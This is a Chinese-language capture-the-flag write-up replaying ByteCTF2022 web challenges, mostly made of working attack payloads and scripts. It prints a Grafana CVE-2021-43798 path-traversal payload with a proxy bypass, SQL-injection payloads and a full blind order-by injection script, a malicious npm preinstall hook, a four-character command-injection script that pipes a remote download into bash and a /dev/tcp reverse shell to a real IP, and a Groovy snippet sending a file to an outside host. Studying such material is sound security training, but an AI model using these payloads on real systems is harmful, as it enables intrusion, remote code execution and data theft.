【CTF】ByteCTF2022复现与学习

正好有环境,参照师傅的题解做一个复现,学习新思路

easy_grafana

CVE-2021-43798读取数据库、配置文件,解密得到flag

存在CVE-2021-43798,任意文件读取漏洞

但是直接用payload打openrasty返回400

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd

400通常是被反代拦截了,简单绕一下

/public/plugins/alertlist/#/../../../../../../../../../../../etc/passwd

读取grafana的数据库文件

/var/lib/grafana/grafana.db

burp中copy to file,再用winhex删除HTTP头部数据就能用数据库软件打开了

表中发现CTF关键字,但是密码是加密的

image-20220930103441869

读取配置文件

/etc/grafana/grafana.ini
image-20220930104009098

密码应该是cfb模式的AES加密,使用师傅写好的脚本:https://github.com/A-D-Team/grafanaExp

解密即可得到flag

image-20220930105401078

ctf_cloud

sql注入 -> preinstall命令执行

用户名非unique

image-20220930105800305

注册处password未采用预编译,可以注入

image-20220930105930788

再注册一个管理员

{
	"username":"111",
	"password":"',0),('admin','1',1);#"
}

登陆后核心功能是 设置package.json依赖、npm源码编译相关

image-20220930110744407
image-20220930110934300

复现的话使用github仓库显示超时,应该是禁止主机出网了

{"dependencies":{"ua-parser-js": "git+https://github.com/your_github_account/test.git"}}

上传一个恶意的package.json

{
  "title": "UAParser.js",
  "name": "ua-parser-js",
  "version": "0.7.29",
  "scripts": {
    "preinstall": "cp /flag /usr/local/app/public/flag.txt"
  }
}

设置如下依赖:

{"dependencies":{"aaa": "./public/uploads/"}}

编译

image-20220930113721799

得到flag

image-20220930113455846

typing_game

正常访问status接口需要是私有ip

因此可以通过report接口去访问:/report?url=<http://127.0.0.1:13002/status?cmd=ls

限制了4字符命令

image-20220930162315446

非预期:4字符RCE

python在8888端口启一个http服务,存放反弹shell的命令sh -i >& /dev/tcp/119.23.255.191/7777 0>&1, 监听等着被访问然后反弹shell

# encoding:utf-8
import requests
from time import sleep
baseurl = "https://faf814590d38986d292d80682e5d6c59.2022.capturetheflag.fun/report?url=http://localhost:13002/status?cmd="

s = requests.session()

# 将ls -th 写入文件g
list = [
    'rm *',
    # generate "g> ht- sl" to file "v"
    '>dir',
    '>sl',
    '>g\>',
    '>ht-',
    '*>v',
    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',
]
# curl xx.xxx.xxx.xxx:8888|bash
list2 = [
    ">sh",
    ">ba\\",
    ">\|\\",
    ">8\\",
    ">88\\",
    ">:8\\",
    ">91\\",
    ">1\\",
    ">5.\\",
    ">25\\",
    ">3.\\",
    ">2\\",
    ">9.\\",
    ">11\\",
    ">\ \\",
    ">rl\\",
    ">cu\\",
]
for i in list:
    url = baseurl+str(i)
    res = s.get(url)
    print(res.text)
    sleep(35)
for j in list2:
    url = baseurl+str(j)
    res = s.get(url)
    print(res.text)
    sleep(35)
s.get(baseurl+"sh x")
sleep(35)
s.get(baseurl+"sh g")

反弹后,env查看环境变量得到flag

image-20220930162714306

四字符RCE资料:https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge-v2

easy_groovy

测出flag位置(无报错

String fileContents = new File('/flag').text

不回显,带出

String fileContents = new File('/flag').text
new URL('http://vps/send?'+fileContents).getText()

datamanager

一个数据库连接管理平台,此处是随便添加的一个

image-20220930191849715

https://ae71af54230d3cb4dc4af69d4c7b3272.2022.capturetheflag.fun/dashboard?order=id

order参数存在sql注入

order=9回显正常,而order=10报500

猜测sql语句为:select xxx from xxx [where xxx] order by ${id}

经过测试,此处过滤了很多字符

' " # = > < ` ;
union substr[ing] sleep hex mid left right ascii

order by注入可参考:https://www.secpulse.com/archives/57197.html

注入脚本:

from sre_constants import SUCCESS
import requests
requests = requests.Session()
import string

proxies = {}
import warnings
warnings.filterwarnings("ignore")

headers = {
    "Cookie": "__t_id=7267900aaba9b607c88b9639ae26899a; JSESSIONID=C1032349BC4000AE184AD31889B5B0F3",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"

}

#database() == datamanager
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when (database() like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#tables : source,users
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(table_name) from information_schema.tables where table_schema like 0x646174616d616e61676572) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#columns from users: current\\_connections,total\\_connections,user,id,n4me,pas$word
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(column_name) from information_schema.columns where table_name like 0x7573657273) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#n4me from users: ctf,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(n4me) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

#pas$word from users: ctf@BvteDaNceS3cRet,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(pas$word) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"

def main():
    flag = ""
    while 1:
        success = False
        for i in string.printable[:-6]:
            if i in "_%[]":
                i = "\\\\"+i
            payload = "0x"
            for item in flag:
                payload += "%02x" % ord(item)
            for item in i:
                payload += "%02x" % ord(item)
            payload += "25"
            #print(payload)
            r = requests.get(url.replace("PAYLOAD",payload),proxies=proxies,headers=headers,verify=False,timeout=3)
            #if "SORRY!" not in r.text:
            if r.status_code == 200:
                flag += i
                print(flag)
                success = True
                break
        if success:
            continue
        else:
            print("failed",flag)
            raise Exception("failed")

if __name__ == "__main__":
    main()

拿到账户ctf/ctf@BvteDaNceS3cRet

登陆后是admin权限,发现Connection Test可以发起一个JDBC连接,且url可控

因此可以伪造一个mysql服务:https://github.com/rmb122/rogue_mysql_server

实现任意文件读取,列出目录可以使用file、netdoc协议

复现参照:

https://blog.wm-team.cn/index.php/archives/28/

https://ek1ng.com/ByteCTF2022